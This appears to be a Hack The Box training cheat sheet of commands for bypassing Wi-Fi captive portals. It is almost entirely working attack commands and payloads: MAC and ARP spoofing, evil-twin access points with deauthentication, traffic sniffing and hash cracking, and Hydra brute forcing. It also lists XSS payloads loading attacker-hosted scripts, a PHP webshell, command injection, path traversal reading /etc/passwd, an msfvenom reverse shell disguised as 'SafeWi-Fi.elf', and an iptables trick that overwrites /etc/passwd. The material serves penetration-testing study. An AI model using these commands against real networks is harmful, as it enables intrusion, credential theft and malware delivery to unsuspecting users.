

BYPASSING WI-FI CAPTIVE PORTALS

CHEAT SHEET

Reconnaissance and Public Networks

Command	Description
<code>sudo airodump-ng -c 1 --bssid A6:89:F8:B8:78:DA wlan0mon</code>	Scan specific BSSID on channel 1 using monitor mode
<code>route -n</code>	Display IP routing table to Identify gateway.
<code>traceroute 8.8.8.8</code>	Determine if ICMP requests are allowed
<code>traceroute -p 80 8.8.8.8</code>	Determine if traffic is restricted to certain ports
<code>sudo nmap -p- -sV 192.168.0.1</code>	Check the captive portal service versions

MAC Address Spoofing

Command	Description
<code>sudo nmap -v -n -sn 192.168.0.1/24 awk '/is up/{print up}; {gsub (/\\(\\)/, ""); up = \$NF}/MAC Address:/{print " => "\$3;}'</code>	Scans the local network for active devices and extracts their MAC addresses.
<code>sudo ifconfig wlan0 down sudo macchanger -m 5c:1a:cf:b5:8f:cc wlan0 sudo ifconfig wlan0 up</code>	Changes the MAC address of wlan0 to a specified value.

Command	Description
<pre>sudo ifconfig wlan0 192.168.0.60 netmask 255.255.255.0 sudo route add default via 192.168.0.1</pre>	Assigns a static IP and default gateway to the interface.
<pre>sudo apt -y install sipcalc nmap git clone https://github.com/systematicat/hack-captive-portals.git cd hack-captive-portals sudo chmod u+x hack-captive.sh</pre>	Installs dependencies and prepares the environment for using the hack-captive-portals tool.
<pre>sudo bash hack-captive.sh</pre>	Executes the script to attempt captive portal bypass.

VPN Bypasses

Command	Description
<pre>dig hackthebox.com +short dig academy.hackthebox.com +short</pre>	Determine if DNS requests are being forwarded.
<pre>nmap -sU -sV -p 53 192.168.0.1</pre>	Check if port 53 is accessible.
<pre>sudo openvpn htb.ovpn</pre>	Connect to the openvpn server.

ARP Spoofing and Hijacking

Command	Description
<pre>ifconfig wlan0</pre>	View assigned IP and MAC.
<pre>sudo nmap -v -n -sn 200.200.200.0/24 awk '/is up/{print up}; {gsub (/\\(\\)/, ""); up = \$NF}'</pre>	Discover the IP address of every host in the network.
<pre>arp -a</pre>	List ARP table.
<pre>arpspoof -i wlan0 -t <clientIP> <gatewayIP> arpspoof -i wlan0 -t <gatewayIP> <clientIP></pre>	Perform ARPSpoofing attack.

External HTTP Credential Interception

Command	Description
<code>iwconfig</code>	Check available interfaces.
<code>sudo airmon-ng start wlan0</code>	Enabled monitor mode.
<code>sudo airodump-ng -c 1 --bssid 6A:48:AC:B4:EF:06 wlan0mon -w credcap</code>	Scan a target network and save the traffic to a file.
<code>sudo -E wireshark credcap-01.cap</code>	View the capture in Wireshark.
<code>(http.request.method == "POST") or (http.request.method == "GET")</code> <code>(http.request.method == "POST" && ip.dst == 192.168.0.1) or (http.request.method == "GET" && ip.dst == 192.168.0.1)</code>	Filter for HTTP requests only within Wireshark.
<code>curl -v http://captive.htb.local</code>	Analyze the client side code of the captive portal server.
<code>hashcat -m 100 -a 0 12A00057AE853A05601D5FAFB7BC8141C37EAABE /path/to/wordlist</code>	Crack SHA1 without salt.
<code>hashcat -m 110 -a 0 4B866B26E76F822DED3C1ECE4B1772F25531286B:HTB-Salt /path/to/wordlist #salted</code>	Crack SHA1 with salt.

Command	Description
<pre>curl -X POST -d 'username=admin&password=391aa8b7234d908027efe09114f5453a&submit=Sign+In' 192.168.0.1</pre>	Send custom POST request to the captive portal server.

External HTTP Session Interception

Command	Description
<pre>sudo airodump-ng -c 1 --bssid 6A:48:AC:B4:EF:06 wlan0mon -w sessioncap</pre>	Scan a target network and save the traffic to a file.
<pre>sudo -E wireshark sessioncap-01.cap</pre>	View the capture in Wireshark.
<pre>(http.request.method == "POST" && ip.dst == 192.168.0.1) or (http.request.method == "GET" && ip.dst == 192.168.0.1)</pre>	Wireshark display filter for HTTP requests.

Hostile Portal Attacks

Command	Description
<pre>sudo apt-get install apache2 php libapache2-mod-php</pre>	Install web server dependencies.
<pre>sudo a2enmod rewrite</pre>	Enable the apache2 mod_rewrite module.
<pre>sudo service apache2 restart</pre>	Restart apache2
<pre>httrack http://captive.htb.local</pre>	Clone the content of the captive portal web server.
<pre>sudo sh -c 'echo "" >> /var/www/html/passess.lst'</pre>	Create a passess.lst file.

Command	Description
<pre>sudo cp * /var/www/html sudo chown -R www-data:www-data /var/www/html/*</pre>	Copy web server files into the apache2 root directory, then set proper permissions.
<pre>sudo service dnsmasq stop sudo dnsmasq -C dns.conf -d</pre>	Stop and then launch the DNS server using the dns.conf configuration file.
<pre>sudo ifconfig wlan1 192.168.0.1/24</pre>	Set the IP address of evil-twin network interface.
<pre>sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'</pre>	Enable IP forwarding.
<pre>sudo hostapd hostapd.conf</pre>	Launch the evil-twin.
<pre>aireplay-ng --deauth 5 -a D4:C1:8B:79:AD:45 wlan0mon</pre>	Deauthenticate the target BSSID.

Client Hijacking through Vulnerable Service

Command	Description
<pre>sudo nmap -v -n -sn 192.168.0.1/24 awk '/is up/ {print up}; {gsub (/\\(\\)/,""); up = \$NF}'</pre>	Scan the network and identify all active clients.
<pre>nmap 192.168.0.60,61,59</pre>	Scan multiple hosts with nmap.
<pre>nmap -T4 -sC -sV 192.168.0.60 -Pn -p2121</pre>	Identify version of FTP running on non-standard port.
<pre>nc 192.168.0.60 2121</pre>	Connect to the FTP service with netcat.
<pre>nc -nvlp 1258</pre>	Listen on port 1258 (to serve as the FTP data channel).
<pre>PORT 192,168,0,56,1,1002</pre>	Command used to specify the data channel port to the FTP server (calculated as 1*256 + 1002 = 1258).
<pre>RETR ../../../../etc/passwd</pre>	FTP command to retrieve the contents of the /etc/passwd file.

Command	Description
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<pre>cat /etc/NetworkManager/system-connections/HTB-Corp.nmconnection</pre>	View stored network details.
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Client Hijacking through Interception

Command	Description
<pre>sudo airodump-ng -c 1 --bssid 6A:48:AC:B4:EF:06 wlan0mon -w credcap</pre>	Capture network traffic (including credentials) being transmitted to the target BSSID.
<pre>sudo -E wireshark credcap-01.cap</pre>	View the capture file in Wireshark.
<pre>(http.request.method == "POST" && ip.dst == 192.168.0.1) or (http.request.method == "GET" && ip.dst == 192.168.0.1) (http.request.method == "POST" && ip.dst == 192.168.0.16) or (http.request.method == "GET" && ip.dst == 192.168.0.16)</pre>	Wireshark display filters used to show only HTTP requests.
<pre>sudo wpa_supplicant -c wpa_supplicant.conf -i wlan0</pre>	Connect to a wireless network using wpa_supplicant.
<pre>sudo dhclient wlan0 -r</pre>	Release the previously assigned IP address.
<pre>sudo dhclient wlan0</pre>	Request an IP from the DHCP server.
<pre>ifconfig wlan0</pre>	Display the assigned IP address.

Client Hijacking through Malware Portal

Command	Description
<pre>sudo apt-get install apache2 php libapache2-mod-php</pre>	Install web server dependencies.

Command	Description
<code>sudo a2enmod rewrite</code>	Enable the apache2 mod_rewrite module.
<code>sudo service apache2 restart</code>	Restart apache2
<code>sudo cp * /var/www/html</code> <code>sudo chown -R www-data:www-data /var/www/html/*</code>	Copy web server files into the apache2 root directory, then set proper permissions.
<code>sudo service dnsmasq stop</code> <code>sudo dnsmasq -C dns.conf -d</code>	Stop and then launch the DNS server using the dns.conf configuration file.
<code>sudo ifconfig wlan1 192.168.0.1/24</code>	Set the IP address of evil-twin network interface.
<code>sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'</code>	Enable IP forwarding.
<code>sudo hostapd hostapd.conf</code>	Launch the evil-twin.
<code>msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.0.1 LPORT=4444 -f elf > SafeWi-Fi.elf</code>	Generate reverse shell payload file.
<code>nc -lvnp 4444</code>	Start netcat listener.
<code>aireplay-ng --deauth 5 -a D4:C1:8B:79:AD:45 wlan0mon</code>	Coerce a connection to the evil-twin, by deauthenticating the real access point.

Brute Forcing

Command	Description
<code>sudo -E wireshark -i wlan0</code>	Sniff traffic on the wireless network.

Command	Description
<code>(http.request.method == POST) && (ip.dst == 214.214.214.6) && (ip.src == 214.214.214.4)</code>	Wireshark display filter to view HTTP POST requests from one specific host to another.
<code>seq 1 1000 > numbers.txt</code>	Generate wordlist of numbers 1-1000.
<code>hydra -vv -L numbers.txt -p '' captive.htb.local http-post-form "/received.php:username=^USER^&submit=Sign+In:Incorrect username."</code>	Bruteforce valid user.
<code>hydra -vv -L /opt/names.txt -p '' captive.htb.local http-post-form "/received.php:username=^USER^&password=^PASS^&submit=Sign+In:Incorrect username."</code>	Bruteforce username and password.
<code>hydra -vv -l admin -P /opt/rockyou.txt captive.htb.local http-post-form "/received.php:username=^USER^&password=^PASS^&submit=Sign+In:Incorrect password."</code>	Bruteforce password.

Portal Hijacking through XSS and Command Injection

Command	Description
<code><script>alert("XSS Capable")</script></code>	Reflected XSS payload.
<code>"><script src=http://200.200.200.78:9200/TESTING_THIS</script></code>	Payload to test for user interaction.
<code>nc -lvnp 9200</code>	Start netcat listener on specified port.
<code>sudo php -S 0.0.0.0:9200</code>	Launch PHP server on specified port.

Command	Description
"><script src=http://200.200.200.78:9200/script.js> </script>	Payload to trigger script.js.
<?php system(\$_GET['cmd']); ?>	Simple PHP webshell
200.200.200.78; whoami	Command injection payload
python3 -m http.server 5555	Launch python web server.

Host Header Manipulation and File Upload Attacks

Command	Description
dirb http://captive.htb.local	Directory fuzz the captive portal server.
curl -H "Host: 127.0.0.1" http://captive.htb.local/admin curl -H "Host: localhost" http://captive.htb.local/admin curl -H "X-Forwarded-For: 127.0.0.1" http://captive.htb.local/server-status curl -H "X-Forwarded-Host: 127.0.0.1" http://captive.htb.local/server-status curl -H "X-Original-URL: /server-status" http://captive.htb.local/server-status	Host header manipulation payloads.

File Inclusion and Granting our own Exception

Command	Description
http://192.168.0.6/login.php? file=../../../../../../../../etc/passwd	File inclusion payload for accessing /etc/passwd
http://192.168.0.6/login.php? file=../../../../var/log/apache2/access.log	File inclusion payload for accessing the apache2 access.log file.

Command	Description
<code>sudo iptables -A FORWARD -s <our-ip> -j ACCEPT</code>	Allows all forwarded packets coming from IP through the server.
<code>sudo iptables -A FORWARD -i wlan0 -o eth0 -s 192.168.0.19 -j ACCEPT</code>	Allows forwarded packets coming from 192.168.0.19, arriving on wlan0, and being sent out on eth0.
<code>openssl passwd toor</code>	Create hash for the password "toor".
<code>sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment '\$'\n[PAYLOAD]\n'</code>	Create an iptables rule containing a payload as the comment.
<code>sudo iptables-save -f /etc/passwd</code>	Write the content of the current iptables rules list to the /etc/passwd file.